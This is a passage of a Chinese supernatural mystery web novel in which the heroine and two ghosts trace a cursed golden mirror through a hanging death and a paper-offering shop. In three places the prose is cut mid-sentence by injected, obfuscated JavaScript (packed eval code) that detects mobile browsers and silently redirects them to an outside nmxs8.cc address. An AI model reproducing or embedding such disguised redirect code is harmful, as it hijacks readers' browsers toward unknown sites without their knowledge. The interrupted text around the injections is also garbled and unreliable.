涂蓝埙有些被打动,她余光瞄着N,最终还是将金子划出一小堆,剩下的大部分还给刘茂盛,那一小堆里也分了一半给N,说:“我试试吧,先拿一点定金,剩下的要是成了再给我,不成的话……” 她没受伤的话就还给刘茂盛,受伤的话就留着做医药费。 不知为何,涂蓝埙感觉N那个方向的气压松动些许,最终化为很冰冷的一声讥笑,这是答应同行了。 她其实想说,刘茂盛是N的熟人才对好不好,这事按理应该拜托给N,她才是那个被连带着拿好处的躺平队友,现在都搞反了! 既然答应了,涂蓝埙再次把店交给电脑女鬼,白超也答应帮忙看顾,她看向涂蓝埙的眼神有点复杂,唯一能读懂的是暖暖的笑意,“您去吧,这里有我们呢。” 白小句跟着摇手:“姐姐你要注意安全喔!” 涂蓝埙笑了,想去揉揉白小句的头,结果这小家伙转向N,不怕死地跟了句:“还有你,打工的大哥哥。” N肃立在原地,表情看不出是高兴还是不高兴,对白小句一点头。 她憋着笑出了门,走到银灰色捷达旁边才想起来,去哪找黄金镜子啊? 涂蓝埙只能厚脸向N:“你那个怀表,能找鬼的话,也能找鬼附身的物件吧?” N说:“前提条件是和物件里的鬼实际接触过。” 涂蓝埙心凉半截,这时,跟在后面的刘茂盛提议:“咱们直接找杨大志呢?我和杨大志接触过,就在昨天上午!” 这个提议可行,怀表被拿在刘茂盛手中,他刚摸到表链就“哎哟”一声,手指像被冻伤似的打不了弯,眼见着怀表要被扬出去,涂蓝埙眼疾手快按住他的手。 “好晕,我生前死后都没有高血压啊……红茫茫一片,想吐,不行了!”刘茂盛闭眼大叫道。 “先别说话。”涂蓝埙说。 接触到刘茂盛手指的一瞬间,怀表的感应画面如电流一样,通过刘茂盛传递到涂蓝埙眼前,她再次看见黑暗中的万千点烛火。 涂蓝埙的触碰似乎让刘茂盛好受了很多,勉强能维持原姿势,他对外汇报道:“眼前还是红的,隐隐约约有白光颗粒,很刺眼,细看就晕。” 不知为何,刘茂盛成了涂蓝埙和怀表的转接头,他们视觉之外,N的指令如冷水般流入耳膜:“刘叔,回想杨大志的外貌,还有你们相处时他的样子。” 三秒后,涂蓝埙那边有了反应,那远近无序的烛火中忽然有一点格外显眼,不是明亮,而是它比其他烛火都更加黯淡,如同一盘水晶球中掺了颗灰石头。她有种不祥的预感。 “在那个方向,静止着,一动不动。”涂蓝埙闭眼道。 几人上了捷达车,据N所说,涂蓝埙看见的是残留在那的死气,说明杨大志最后出现是在那里,并且停留了不短时间。鉴于他已经被金镜子抓走,事实上曾在那的是金镜子。 车行一路向北,N难得开车,他每次开车的脸色都谈不上愉快,等红灯时没头没尾一句:“你死过?” 涂蓝埙先感觉是在问她,又感觉是在骂她,噎了两秒,说:“我活得好着呢。” N转头凝视过来,说:“只有大鬼才能运用怀表到这种地步。”他意有所指:“我都不行。” 涂蓝埙耸肩:“有谁规定你必须比我行吗?” 她说得轻松,说完马上怂怂地离刘茂盛近了些,后者无奈一笑,视线在涂蓝埙和N之间来回转,最终化为无声一叹。 中老年人往往热爱做媒,眼前的女生和青年实在登对,刘茂盛喜欢涂蓝埙这样嘴上逐利实则热心的孩子,又难得N和个女孩子走得近,但…… 阴阳殊途啊。他想。 他们几乎快出了城北郊区,才在一处新验收不久的高层小区边停下,这里楼群高耸入云,气派极了,但配套不好地价不高,再过三十年就是无人拆迁的老鸽子楼。 杨大志最后的气息就在这里。 怀表标定最深处的一栋楼,涂蓝埙戴上口罩,刚走过去就看见一片红红蓝蓝的光,警车救护车横停楼下,还有穿马甲的社区工作人员。 单元门大开着,警、医也才抵达,正在急匆匆上楼,围观邻居议论着:“真是造孽啊。” “就是,年纪轻轻的,怎么想不开呢?” “哎哟快别说了,我中午接外孙回来,抬头一看差点心脏病发作,孩子眼睛都忘捂了,不知道会不会发烧……” 涂蓝埙已经知道出什么事了,因为死者正在窗户里面挂着,五楼内,一具男青年的尸体正在无声微转,挂在阳台其他晾晒的衣裤间,只是比它们多了点重量。 他是缢死的,绳子很长,面容因为玻璃反光看不清,但似乎睁着眼睛。 这很不寻常,一般缢死尸体都呈垂头态,但男青年的脸直视前方。 不用涂蓝埙问,N的眉头已经微皱起来:“就是那。” 通过邻居的议论,事件全貌被拼凑出大概:男青年姓马,28岁,有业,由于是独居在此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356416|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他母亲会每隔一两周过来一趟,检查卫生和饮食情况,顺便催婚。 谁知今天上门,憋了一肚子催婚道理的老母亲刚打开门,屋里到处找不到儿子,一转头,发现晾晒的裤子间多了一双脚。 邻居还说,马青年平时性格正常,是个务实又不务实的愣头青。务实在于言行内敛,酷爱赚钱,经常有不定期的中大额收入,两年换了三辆车,邻居都猜他是个炒股专家。不务实的地方在于,马青年一直不找对象,从来不带女孩回家,颇有断情绝爱的意思。 涂蓝埙听了两耳朵,觉得有意思,好像马青年赚钱再多,只要不是为了最终目的——结婚繁衍而服务,这种优点就可以被抵消了似的。 警察清场前,一老年人边走边对另一老年人嘀咕:“不是我说,小马可能有问题,我见过他深更半夜带不一样的男人回家,有时是个中年人,有时是个小年轻,可吓人呢!” 喧嚷声在接下来的一刻戛然而止,马青年被用担架蒙着布运出来,后面跌跌撞撞跟了个尖声哭泣的中年女性,两名女警都扶不住她前冲的势头。 倏然,中年女性往前一扑,跌倒瞬间手抓住担架一角,那白布随着重力被扯落,死者的面貌顿时暴露在众人眼前。 马青年的脸色青灰,如所有缢死者一样,面容扭曲,但业已毫无生气的双眼直勾勾往上看,死人的躯体比人造的静物更有死感,也更令人犯恶心,尤其诡异的是,马青年的嘴角是上翘的。 人群中,李傲刚和派出所民警招呼过,他刚在附近跟进走访,就被孟局一个电话支过来,还带着个不速之客。 李傲走过来扶起中年妇女,对方哆哆嗦嗦已然六神无主,见到制服颜色稍微缓过气,每个音节都带着气颤:“警官,我儿子是,是被入室抢劫盗窃犯杀害的!” 李傲被引起注意,问:“大姐,您慢慢说。” 中年女性口呼吸两次后,攥紧李傲的衣袖,道:“昨,昨天晚上我和儿子打视频,他,他说就要发财了,以后我们家要什么有什么……” 李傲耐着性子:“这和入室抢劫盗窃没有直接关系,理解您的心情,如果没丢贵重物品的话……” 中年女性被提醒了,喃喃:“丢了,丢贵重物品了……有一块黄金丢了……” 李傲几乎怀疑她发癔症,但中年女性打开手机,点着一张马青年的自拍,那种“家长让你拍来看看”的极不情愿的自拍照,背景是阳台墙壁,最上方露出一点金光,圆的。 “是月亮吗?”小张凑过来。 “昨天夜里阴天,而且那个背景一看就是阳台墙壁挂了东西,反光在窗玻璃上啦。”老魏秀了波经验。 李傲盯了半天,拉过拿着相机的警察,现场照片中那个位置是空的,没有那金色物件。 旁边文冲走过来,轻轻拿过相机,目光有所落点,严肃道:“是丢东西了,丢了出问题的东西。” 碍于死者家属还在这,李傲不便多问,期望着文冲找个借口单独说话,可到底落空,因为她的视线已经投往另一方向,并逐渐变得略有兴味。 绿化带和凉亭的夹角里,一个黑自来卷女生的背影闪了过去。 46. 46 涂蓝埙蹲在凉亭后面,从一条绿化带的视觉死角下溜走,她感受到被注视,对身旁的刘茂盛和N说:“我见过那个女人。” 就是在医院卫生间遇到过的那一位,涂蓝埙不认为这是个巧合,对方可能是警务人员。 可恶,涂蓝埙以为汤伟宁的案子已经了结,完全想不到还有警察在他附近待着,她不会被记住了吧? N说:“黄金镜子已经不在楼上,咱们可以走了。” “好。”涂蓝埙刷着手机,找到自己的网页浏览记录,点击一键删除。 切回聊天软件搜索记录,确认没有可疑迹象后,涂蓝埙手滑点开了朋友圈。 朋友圈刷出一条原来圈内熟人的转发消息,是另一条朋友圈的截图,发布人涂蓝埙不认识,但头像很眼熟。 头像是那个倒霉的张小槐的生活照,名字也很有年代感,叫“荷花安宁”。 应该是张小槐的妈妈吧? 张小槐的妈妈发布的是一条悬赏,不是悬红买命的那种,而是恳求张小槐事件的知情人提供信息,关于一件古董收藏品的信息。 悬赏金额六位数,如果能有效治好张小槐,还会追加七位数的报酬。 涂蓝埙震惊,所谓的“古董收藏品”是一件黄金制品的写真照,赫然就是那面黄金镜子。 张小槐的最新情况也被转发出来,人已经脱离危险,但思维意识不清醒,疑似罹患精神障碍。据那条朋友圈隐晦透露,他的遭遇和那面黄金镜子有关。 那镜子不是一直在金店里吗?对了,金店是张小槐的钱袋子之一,说不定他还真经手过镜子。 要不要把黄金镜子的事告诉张小槐母亲呢?涂蓝埙犹豫再三,可她着实也不知道太多,只有黄金镜子里面有鬼,会主动害人、吞噬灵体这一条。 告诉张小槐母亲,百分百会得到六位数的金钱奖励,但她也会绕进这件事扯不干净。 涂蓝埙问:“有什么办法能注册一个新账号,让它不能被追查到吗?” N扫了一眼,说:“可以。” 涂蓝埙在附近楼栋的一家民居奶茶店找了个位置,一个崭新的账号很快被注册完毕,现在网络规章严谨,网购的虚拟号码不被允许注册实名账号,但对N来说一切都不是问题。 电脑女鬼帮忙验了一下,账号的IP归属地落在其他大洲的不知名岛国,很安全。 她用那个离岸账号添加张小槐的母亲,备注黄金镜子,对方可能一秒不离地守着手机,光速通过。 荷花安宁:您好[微笑] 金子总会发光:您好,我有关于您朋友圈那块黄金镜子的情报。 荷花安宁:[转账]请收款。 张小槐母亲直接转了笔额度超大的定金,但涂蓝埙知道,从此刻开始,这个账号的信息已经开始被追踪了,不过无法准确定位的怪异账号,似乎更加有可信度。 她没急着收,直接绕过龙凤世家的事,将黄金镜子的作用简略说了一遍。 荷花安宁显示正在输入中,小区另一边传来喧闹声,刘茂盛从店外跑进来,说:“你们猜怎么着?那个死者小马,是个贼!” 原来是马青年的妈妈在和警察谈话时露了马脚。警察在马青年的住所发现各类贵重女士用品,从名牌包到钻石手表,但结合与邻居的走访记录,马青年几乎是个暧昧绝缘体。 这引起了带队警察的警惕,果然在几次有技巧的询问后,马青年的妈妈绷不住交待了事实。 马青年并不炒股,也没有一份稳定的工作,他的职业是网络盗贼。 网络盗贼就是通过聊天等方式,将有钱的女性网友约出来见面,随着信任度增加,受害者往往会放松对周围——除了约会对象之外的环境的警惕,也就给了马青年的同伙下手之机。 说起来,马青年经常深夜带回家的也不是他的野男人,而是彻头彻尾的盗贼同伙。 刘茂盛学得绘声绘色:“唉,他妈妈一把鼻涕一把泪的,怪让人难堪,什么样的家长会容许孩子做这种事呢?” 他又凑近了些,说:“之前那个黄金镜子,就是马青年偷来的。就是龙凤世家那起案件,他们这伙贼认识另一伙更凶更恶的歹徒,被人家临时拉入伙,干了这一票。” 马青年小偷小摸的毛病改不掉,蒙面闯进金店后,竟然临时起意黑吃黑,悄默声地顺走了看着就很值钱的黄金镜子,谁也没告诉。 哪知道就是那镜子要了他的命。 涂蓝埙有些发愣,刘茂盛还在转述问询现场,他说:“怪就怪在,小马他妈虽然知道儿子干的事不干净,还把之前诈盗女网友的责任怪在人家受害者头上。但她一口咬定小马平时胆子很小,有点‘道义’,根本不敢得罪道上的人,不知这次怎么就失心疯了。” 会不会是镜子的影响? 涂蓝埙想起来,第一次见到黄金镜子的时候,它也是抓住她最大的痛点来蛊惑她的。 它好像……真的能放大别人心里的欲求? 谈话间,荷花安宁的消息已经发来一长串,都是细问涂蓝埙更多镜子的讯息,她将刚刚的猜想再打字发过去,荷花安宁沉默足有一分钟,最终发来一句: 请问您愿意接受委托,帮我们找到那枚黄金镜子的位置吗?或者制造它的人也行,定有重谢。 涂蓝埙答应了,反正归根结底和刘茂盛是同一份委托,一鱼两吃嘛。 荷花安宁利落地将六位数酬谢转给涂蓝埙,账户是N提供的境外卡号,这东西其实涂蓝埙自己也有,但现在没必要提及。 刘茂盛站起来:“咱们现在去哪?” 涂蓝埙看了眼手机,说:“普洱乡桂花镇,蜡梅街道。” 荷花安宁透露,张小槐对开好几家金店这事既有路子也有兴趣,他喜欢摆弄黄金,柜上不少黄金物件都是他从国内外淘来的,包括那枚黄金镜子。 根据买入明细表,黄金镜子在龙凤世家金店已经放了一个月,是张小槐从一家专卖老物件的珍玩网店买的,那家店被查到在卖出金镜几天后就关闭了。 最诡异的是,竟然查不到注册人信息,网站方面表示是系统出了bug。 那家店只留下一个名字:黑森林古董珍玩。 涂蓝埙不得不联想到黑森林高端百货。 那是一家鬼店,发货地在鹿城周边的普洱乡桂花镇蜡梅街道。她决定去一趟。 # 一行人当即上路,普洱乡在鹿城南面,从这过去要穿过整个市区,他们开车经过鹿城农业大学,遥遥望见食品学院实验楼的楼顶,师生们在校门口自由出入,但这里面已经没有了汤伟宁。 涂蓝埙无声地叹了口气,一路南行,顺便回便利店取了点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360352|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃的。 电脑女鬼的网络搜索很迅速:“普洱乡的茶饼特别有名,老板带回来点吧。”白小句也在桌后探头,一双乌溜溜的眼睛里写着“带点吧带点吧”。 涂蓝埙答应下来,再次出发,捷达车半途加了次油,等到外面的天色微微染上晚霞红时,他们抵达了普洱乡桂花镇。 这个季节正开桂花,镇中金桂错落,晚风糅杂着桂花软浓的香气从车窗灌入,让人有种微醺的感觉。 桂花镇是座不大的小镇子,街道规划宽敞平直,两侧还有沿街贩卖烤红薯和当地特色糯米饭的小摊车,镇民的工作结束较大城市早,各自提着手包和菜袋往家里赶。虽然这一趟是来查鬼物的,但人间烟火的浓郁让涂蓝埙神经放松下来。 刘茂盛深深吸了口外面的味道,回忆道:“我年轻的时候还去普洱乡出过差呢,不过桂花镇倒是没来过。那时候莹莹还小呢。” 涂蓝埙仔细盯街边路牌,随口问:“刘伯伯以前是做什么工作的?” 车内瞬间沉默,刘茂盛和N通过倒车镜对视一眼,前者打哈哈:“就普通工作,开开车送送文件,后来……” 刘茂盛的眼神变得迷茫,不聚焦地环顾四周,好像身体里穿越来另一个人,打量着这个世界,他苦思:“后来我好像被外派到另一个地方?怎么记不清了……” 他独自陷入一种恐怖的漩涡,N清了下嗓子,打断道:“聂老师回来了。” 这句话一下拉回刘茂盛,他向后一仰头,枕在座椅上望车顶棚的纹路,含糊道:“噢……” N轻轻解下脖子挂的银链牌坠,递给刘茂盛,后者小心翼翼双手接过,N说:“刘叔,帮我查查吧。” 银色圆牌刻着一行数字,4月17,好像是生日。 涂蓝埙脑补很多,N是孤儿来的,可能那条牌链是他家人离开他前,留给他的最后的纪念品,让他知道自己是哪一天出生的。 车行至蜡梅街道的时候,一行人打起十二分精神,这里是纸扎品一条街,各种各样的祭奠品和纸扎广告成了一种文化,融入居民的生活,大多数住这的都是丧葬从业者。 他们从街尾绕进来,经过一方没有牌匾的民居院落,蜡梅树从院内探出枝条,继续往前开,街边开始摆上越来越多的纸扎样品,有纸人向他们微笑。 正好有位快递员骑着小三轮路过,涂蓝埙叫住对方,刘茂盛熟练从口袋里翻出一包烟,暗暗传给涂蓝埙,她抽出一根递出窗外,打听道:“您好,麻烦问一下,咱们这条街上哪一家发快递发得最多?” 快递员接了烟,眼神往一个地方飘,但没直接回答,问道:“您打听这个干嘛?” 涂蓝埙笑了笑:“来买点东西,平时只听说镇上的纸扎一条街出名,具体哪家好倒不知道,估计销量大的手艺口碑更好嘛。” 快递员这才指了个方向:“喏,就是那家了,天天都有货发。” 他指的是一家黑木牌匾黑木门柱黑木窗棂的“黑店”。 门脸很大很宽,再一众纸扎铺子里鹤立鸡群,既比别家气派,也比别家阴森,门口立的一对迎客的红绿纸人都比别的高一截,快等身了,看着像极了人。 风吹过,纸人微微摆动,头带肩带身躯,缓缓朝涂蓝埙一行的车转过脸来,似笑非笑。 那家店的名字叫“黑家冥祭百货”。 47. 47 进入黑家冥祭之前,N说了句话:“不是里面有鬼,就代表这家店是鬼店。” 用N的话说,贩售冥祭用品的地方,尤其是蜡梅街道这种成规模的冥祭特色区,充满着死气和鬼魂的气息,虽然涂蓝埙看不见,但到处都是。 涂蓝埙问:“为什么?” 刘茂盛能回答这个问题:“因为不是每个鬼都有人祭奠的。” 贩售冥钞祭品成为产业的区域,对鬼来说就像是饥饿的人看见热腾腾的饭馆一样,有特别的吸引力。 尤其是有些做这种生意的老板,会专门定期点点香,成批烧点纸扎祭品,以防招来孤魂野鬼缠上害人,其实就是买个安心。 但谁会拒绝露天自助餐呢? 这也是冥祭用品店能和鬼们相安无事的实质原因。 “有很多鬼吗?我没见到。”涂蓝埙说。 N挑了下眉:“开车过来的路上就遇到了四五个,可能他们太像活人,你没认出来。不过,你看不见也是常理。” 涂蓝埙虽然不认为能见鬼是什么好事,但还是生气了。 N没有做科普教育的兴趣,刘茂盛接过话来,解释了一通,她这才明白。活人见鬼通常有三种方式。 要么鬼的力量够强,且自愿在活人面前现身——但这种情况很少,由于第四条约的存在,鬼被活人看见并发生交互,且活人之后继续活下去了,那个鬼会被规则严厉惩罚。 “通常都是害人的鬼才那么干,他们现身的时候就做好了灭口的准备。”刘茂盛说。 汤鹏安并不属于第一种,因为刘老师借了汤光明的壳,他不算直接双眼见鬼。 第二种是外界影响,比如活人很特殊,或者拿了特殊物品,也可能看见鬼。 刘茂盛喝了口水,继续讲解:“你应该属于第二种,因为南——N在你身边,他影响你,想让你看见他看见的,你就能看见啦。” 还有第三种情况极为特殊,就是活人在做梦,或处于濒死状态,这种情况属于活人的灵体绕过物理躯壳,看见了另一个灵体。 涂蓝埙说:“噢,那刘伯伯你不怕第四条约吗。” “一开始怕。”刘茂盛也说不明白,“但N在你身边没事,我也没事。”他说着看向N,N好像也不知道原因。 车子熄了火,一人两鬼落车站直,N忽然回头,扯出一个假假的笑容,“如果你害怕,我可以让你看不见店里的鬼,毕竟他们……” 他收声,目光冷而渺然地望向店门内,气氛一下子紧张起来,又好像在等着涂蓝埙害怕,她敢说这人的恶劣和死亡无关,生前说不定就这么烦人。 但是…… 涂蓝埙看一眼,声音有点颤抖,“他们一个断了脖子,另一个只有半张脸。” “什么?”N蹙眉。 涂蓝埙说:“我看见了。” 怪事发生,N明明遮了涂蓝埙的眼睛,但她还是把黑家冥祭百货里的两只鬼看得一清二楚。 这就不能说是N的事了。 她自己能看见了,不用借N的视觉,她能见鬼。 N往前走,轻声留下一句:“那就别让他们知道你能看见。” 涂蓝埙跟上去,决定把这事赖在N身上,“都怪和你待太久了……” 黑家冥祭百货是一家很大很正经的纸扎用品店。 很大是指店面又宽又深,很正经是指它的确售卖各种各样的纸东西,纸板粘的触屏手机,纸扎的加长款轿车,还有金纸元宝垒成一座山,被装在一只帆船形状的篮子里。 除了店里空气很冷,深色木柜台有涂蓝埙眉毛那么高,看上去像灵异故事里的当铺外,它看上去一切正常。 起码明面上摆出来的商品,没有和金镜子有关的。 “客人您好。”一个脑袋从柜台后冒出来,是个脸色苍白的小青年,他往外一蹦,差点和旁边的半边脸鬼砸个穿模,“想看点什么?” 小青年约莫二十来岁,很精神,紧身满印logoT恤,紧身牛仔裤,脚蹬一双踩扁后帮的乐福鞋,手上还盘了个金灿灿的核桃串。 涂蓝埙确认这人看不见鬼,因为他站的地方紧挨着半张脸鬼,每时每刻都在对方行贴面礼,那很恶心。 半张脸鬼剃着寸青皮头,看不清表情,因为他的半张脸不是完整的半边脸皮,而是整个脑袋这一块那一块总共能拼出半张脸,还都耷拉翻卷着,头皮刘海似的折在额前。 眼球只剩浑浊的一只,鼻子从中间横断,上嘴唇不见踪影,下嘴唇一侧连着腮边,另一侧挂在下巴上,狰狞的红肉在碎脸皮之间留下犬齿状的沟壑。 很明显,这个鬼是被犬类撕咬致死的。 涂蓝埙努力不让视线落在鬼身上,对小青年微微一笑:“随便看看。请问您这有生活用品吗?” 小青年麻利拖出一只纸箱,把东西一样样码出来,毛巾牙刷,香皂洗发水,微缩的沙发茶几,大都贴着仿市面流行品牌的商标,这些山寨品全是纸扎的。 他把串盘得唰啦唰啦响,问:“够不够?不够还有。” 涂蓝埙装模作样挑拣起来,没有一张口就问镜子,那太蠢了,她看了半天,拿了一套毛巾牙刷和一块香皂,皱皱眉,有点挑剔地说:“还有更好的吗?” “有的妹妹!”小青年市侩回答,他很擅长应对难缠的客人,难缠通常代表有钱。 于是涂蓝埙被顺理成章领进里间,那里比外堂亮,色调是白色和木色,浅而明快的大瓷砖铺在地上,一套红木沙发靠墙放着,上面有个茶盘,墙上挂了幅看不懂的毛笔草书。 像是有些乡镇风格的VIP招待室。但涂蓝埙迈进去的瞬间心中咯噔一沉。 更明亮更宽敞的里间比阴森森的外堂多了种气氛,一种让人脚底板发冷的凝重空气,瓷砖的冷意透过鞋底,直渗入人的足心,往上侵涌。 涂蓝埙假装对这里的装潢感兴趣,趁着小青年去仓库取货,那两个鬼也在外堂没进来,她看了眼N和刘茂盛。 N的声音钻入她的耳朵:“死气很重,比外面的街道还重。” “有黄金镜子的气息吗?”涂蓝埙从牙缝里问。 N摇摇头,没感受到。 黑家冥祭百货或许只是恰好和黑森林百货同名? 如果黄金镜子是某店放出来害人的,它在外面猎到灵魂后,应该被回收到主人手里才对。 他们来错地方了? 小青年从仓库里拉出一只拖车,上面放的是真贴金描银的家伙,一件件像极了古董艺术品,还有做工以假乱真的奢侈品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15367305|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包包,从铂金包到白三彩,如果不是摸上去是纸,简直和真的一样。 “这都是不能摆出去的,但客户订购没断过。”小青年神神秘秘,“您可不能说出去。” 涂蓝埙拿起一尊粉彩纸花瓶,它看上去像极了国宝鉴赏节目里清朝皇帝的藏品,价签标了个能提辆低档轿车的数字,小青年极力推荐:“大家都想逝者在地下也能锦衣玉食的,尤其是生前就锦衣玉食的那拨大佬,谁还没个皇帝梦乐。” 是的,那堆高端货里甚至还有龙椅和凤冠。 涂蓝埙大开眼界,到底没忘此行目的,高傲道:“摆件还有其他的吗?我想要异域风情一点的。” 她这副模样还真够唬人的,小青年以为来了大客户,又拣出一堆,小心翼翼摆在茶几上,介绍:“有有有,您掌眼,这是英国女王的冠冕一比一复刻的,那个是纸象牙,还有……” 小青年嘴皮子飞快,N静候一旁,像个恰好混进来的孤魂野鬼似的到处闲逛,一句懒懒散散的话飘过来:“他现在拿出来的纸扎品有大问题。” 涂蓝埙呼吸慢了半拍,面色不动,也不上手,指着最角落的一尊暗色塑像说:“那个我看看。” 那是一尊仿铜制的猞猁雕像,镶嵌宝石,几乎和黑森林高端百货店铺首页的海报一模一样。只是泛着层纸一样的淡光。 小青年骤然变了脸色,决断:“对不起啊,这个没有现货!” 涂蓝埙表现得对它很感兴趣,也急了,“怎么没有现货?这不是吗。就算没有,我订一个行不行。” “做不了了。”小青年一副贪财相,此刻拒绝得竟十分断然,“做这个的师傅不做了,这个已经被订走,今晚就发货。” 涂蓝埙纠缠了两句,N打来一个眼色,表示有所发现,她最后悻悻离开,只买了之前的纸毛巾牙刷,还有那堆贵价纸扎品里价格很高的女王冠冕,因为N表示这笔算他的。 回到车上,他们缓缓离开,在镇子的另一个边缘处找了家宾馆,涂蓝埙开一标间,很快上楼关上房门,问:“那些纸扎品怎么了?” 毛巾牙刷和冠冕都被放在一张床上,N说:“普通物品没问题,但是后来那批贵的有古怪。” 纸女王冠冕重量很轻,涂蓝埙一下子不敢碰了,等着N解释,刘茂盛也紧皱眉头盯着,N说:“这东西上面死气很浓。活人碰了会死气缠身,烧给哪个死人,那个死人也会遇到不好的事情……如果ta的灵魂还在世界上的话。” 也就是说,贵价的纸扎祭品其实是诱饵,专门钓那些想让逝者奢侈一把的有钱人? 涂蓝埙问:“遇到什么不好的事情?” N将一只手放在纸王冠上,缓缓道:“这里面有一种吸取的机制,专门吸灵魂体,化为……你可以理解为营养,补充给它所指向的东西。” 既然是东西,就很难是活人了。 被吸取灵魂体会带来一系列后遗症,对活人来说是记忆模糊、幻听幻视、精神障碍甚至瘫痪不醒。 对死人来说,则是灵魂体的虚弱甚至湮灭。 涂蓝埙背后有点发凉,自来人们烧化祭奠用品,只会担心逝者能否收到钱和衣物,却从未有人想过,如果这条寄送路径是打通的,但烧送过去的是一枚伤害鬼魂的“炸弹”呢? 48. 48 房间里沉寂半晌,毫无疑问,制造这种东西的手艺人逃不脱责任,店家可能也有问题。 “那具体是供给什么‘东西’呢?”涂蓝埙发现自己问了句废话,当然是鬼了。 N却否认:“不一定,是人是鬼都有可能。” 但无论如何,那家店的贵价纸扎品和黄金镜子有关,黄金镜子也是掠夺鬼魂,和纸扎品的原理有些相似。 涂蓝埙还有很在意的一点,陶思那尊猞猁铜像,不仅是黑森林高端百货的旗舰商品,在黑家冥祭也找到了纸扎的同款。 她忽然有一个猜想,会不会黑家的货源和黑森林是同一个?所以商品一式两份。 因为贵价纸扎品能辐射的客源范围还是小,如果造出真正吸引活人客户的个人用品,岂不是可以大吸特吸了? 陶思收到的猞猁铜像,怎么想都很可能是和黄金镜子一类的玩意。 他们决定乔装改扮,再去探探黑家冥祭百货的货源地。 乔装改扮主要是涂蓝埙的任务,她换了套衣服,刘茂盛也笑呵呵地加一件外套,N倒是利落,走进卫生间再出来,就从一身黑换成一身白。 涂蓝埙忍不住:“好像黑白无常啊……说起黑白无常,上次那两个白黑鬼究竟是什么?” N回头一笑:“我也不知道。” 撒谎。 一行人鬼鬼祟祟出了门,镇上有共享单车,涂蓝埙戴了个帽子,骑车向前,两只鬼在她旁边飘。 很快回到黑家冥祭百货附近,街角转过去有一家大排档,客人不多不少,涂蓝埙挑了个被大伞遮住的塑料桌,这一趟N准备独自闯进去。 “不会暴露吗?”她翻着油腻腻的菜单,问。 “我就怕不暴露。”N呲牙一笑,笑得春风和煦。 涂蓝埙的炒面开始下锅时,N已经离开,她和刘茂盛对坐着,给对方叫了盘炒田螺和汤粉,香在桌子下燃了指节长,刘茂盛直接从一颗颗田螺壳里挑肉吃,汤粉更不成问题,只要他吃得隐蔽一些,那玩意是越吃越多的。 只不过外界看来,涂蓝埙一个人点了一桌子菜,很像个骄傲的大胃王。 趁着N不在,涂蓝埙低声问:“刘伯伯,你以前认识N,他……活着的时候是做什么的?” 刘茂盛温和地说:“别问啦,知道对你没好处的。” 刘茂盛也是,N也是,平时脾气很好很善良(这一点专指前者),但一提到这种话题,总像变成另外一个人。 “不过。”刘茂盛的表情八卦起来,神秘压声:“你要是对他感兴趣,我可以给你讲讲他以前的事。” 那就是刘茂盛认识N之前的事,远早于他们的相识和死亡,很可能是属于N青少年时期的经历。 为了听八卦,涂蓝埙没否认“感兴趣”这个词,静听刘茂盛往下说。 N是鹿城本地人,活着的时候大家不叫他N,他姓南。 他自小是个孤儿,不知道父母是谁,长大前生活在福利院里,但根据本国法律,十四岁后N可以半工半读,于是他从福利院搬出来,自己租了个房,但要和社区工作人员定时接触。 刘茂盛没说N读的什么学校,但N不仅是那所学校,而是整个城市里很会读书的那一类学生。涂蓝埙跟着点头,他看着就不是善茬来的,无论哪一方面。 刘茂盛着力于渲染N早期生活的艰苦和悲情,好像那种小说里贫穷但帅气的白衣学霸少年,但他话锋一转,说:“你知道N没上过国内的大学吗?” 涂蓝埙猜测:“他保送到国外去了?”那应该需要很多科技比赛,很多不容易拿的奖,而且奖学金不太容易全覆盖吧。 刘茂盛摇头:“不是保送,是他没去高考。” N没参加那一年的高考,他出于某种不能提及的原因,耽误了两个月,然后直接被人带出本国,不是留学读书,而是工作,一边工作一边进行另一种意义的“学习”。 涂蓝埙很敏锐:“是你们的老板?” 刘茂盛震惊又困惑:“你怎么知道?” 她当然知道,N能和刘茂盛产生什么关系?他们年龄差很多,看上去完全不是一类人,除非是邻居,但他们又共同对之前的经历讳莫如深。 不是一起扛过枪,就是一起分过赃。 涂蓝埙接着推理:“那位老板带走了当年十八岁的N,他许诺了什么?金钱?学业?” 刘茂盛没否认,但也没有肯定的迹象。 涂蓝埙瞬间连通脑回路,“以及找他的家人?” 刘茂盛这才沉重地一点头。 炒面被在盘子里搅来搅去,涂蓝埙还是没忍住问:“他到底为什么没去高考?而且没有复读?” 从N的现状来看,他十八岁时加入的那份事业,是他如今变成厉鬼的直接原因,如果他的脑子真如刘茂盛所说的那么好用,干嘛不复读呢? 涂蓝埙可不信那种灰产大老板会免费做慈善,N从老板手里拿到的,最终都要加倍还回去。 